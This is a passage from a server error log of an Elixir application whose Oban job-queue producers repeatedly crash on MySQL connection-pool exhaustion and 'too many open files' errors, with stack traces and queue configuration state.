    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:51:31.241299Z], limit: 50, uuid: "4a184d5a-3298-4404-a87e-22a475ccda12", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:31.241305Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83996>, refresh_timer: #Reference<0.2525715032.1077673987.58798>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:44.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:51:31.239759Z], limit: 5, uuid: "8f8abc41-5cf5-42ee-b7d6-88bb67993ddf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:31.239765Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83993>, refresh_timer: #Reference<0.2525715032.1121189889.226459>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:44.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:51:31.238703Z], limit: 5, uuid: "a9fb1a60-fe37-4968-a97c-9f9221856027", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:31.238709Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83994>, refresh_timer: #Reference<0.2525715032.1121189889.226444>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:44.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:51:31.238909Z], limit: 20, uuid: "c01990d3-6822-4e95-9e6a-cee01e4879c8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:31.238914Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83992>, refresh_timer: #Reference<0.2525715032.1121189889.226446>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:48.295000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:48.674000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:49.215000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:51:44.244234Z], limit: 5, uuid: "9db2a674-0171-4a3e-aaf6-33e0e3be5ef9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:44.244239Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.84342>, refresh_timer: #Reference<0.2525715032.1121189889.226621>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:51:44.244977Z], limit: 20, uuid: "44f60b01-7061-4281-a8da-f753e47fc439", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:44.244982Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.70485>, refresh_timer: #Reference<0.2525715032.1099431938.70457>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:51:44.242018Z], limit: 3, uuid: "0ba915f2-fb2a-409a-8898-cb9f7b38887f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:44.242024Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.84343>, refresh_timer: #Reference<0.2525715032.1121189889.226607>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:51:44.241266Z], limit: 10, uuid: "1b704fff-161a-4c71-b067-c6d8a0911400", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:44.241272Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.84340>, refresh_timer: #Reference<0.2525715032.1068498948.84291>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:51:44.243047Z], limit: 5, uuid: "047b0547-4235-4e4a-8a12-5d4f91169e8e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:44.243053Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.70486>, refresh_timer: #Reference<0.2525715032.1099431938.70430>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
